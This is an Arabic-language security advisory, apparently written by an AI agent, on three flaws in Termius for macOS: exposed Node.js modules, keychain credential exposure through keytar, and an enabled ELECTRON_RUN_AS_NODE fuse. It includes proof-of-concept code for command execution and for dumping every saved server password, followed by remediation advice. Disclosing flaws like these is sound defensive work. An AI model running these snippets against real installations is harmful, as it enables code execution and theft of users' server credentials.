
الهدف: Termius (نظام macOS) الإصدار الذي تم اختباره: الأحدث (حتى يناير 2026) الأثر: تنفيذ التعليمات البرمجية عن بُعد (RCE)، تصعيد الامتيازات المحلية (LPE)، تجاوز أمان التطبيق
تم تحديد ثلاث ثغرات حرجة في تطبيق Termius لنظام macOS تسمح للمهاجم بـ:
keytar الأصلية المكشوفة.ELECTRON_RUN_AS_NODE.يكشف التطبيق عن وحدات Node.js قوية (child_process, fs, electron) لعملية العارض (جزء الواجهة في التطبيق). هذه الوحدات مخفية خلف Symbol عام في كائن window بهدف إخفائها، لكنها غير معزولة بشكل آمن.
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
يمكن للمهاجم الذي يحقق Cross-Site Scripting (XSS) التصعيد فورًا إلى RCE باستخدام هذا الرمز المكشوف.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
وحدة keytar الأصلية في Node.js، التي يستخدمها Termius للتواصل مع سلسلة المفاتيح (Keychain) في macOS، مكشوفة أيضًا عبر نفس رمز Symbol المخفي. وهذا يسمح لأي سكربت يعمل ضمن سياق التطبيق (مثل إضافة خبيثة، أو XSS، أو حقن عمليات محلي) بالاستعلام عن كلمات المرور كنص صريح لجميع الخوادم المحفوظة واسترجاعها.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)لا يقوم ملف Termius الثنائي بتعطيل مصهر ELECTRON_RUN_AS_NODE. وهذا خطأ أمني حرج يسمح لأي مستخدم محلي بتنفيذ الملف الثنائي الموقّع لتطبيق Termius كملف Node.js قياسي. وهذا يتجاوز تمامًا فحوصات سلامة توقيع الشيفرة (Code Signing) في macOS لمنطق التطبيق.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode و EnableNodeCliInspectArguments صراحةً باستخدام @electron/fuses أثناء البناء.window أو global. استخدم contextBridge.exposeInMainWorld مع سطح API مقيد لا يكشف سوى الوظائف الضرورية، وليس الوحدات كاملة.تم إنشاء التقرير بواسطة Antigravity Agent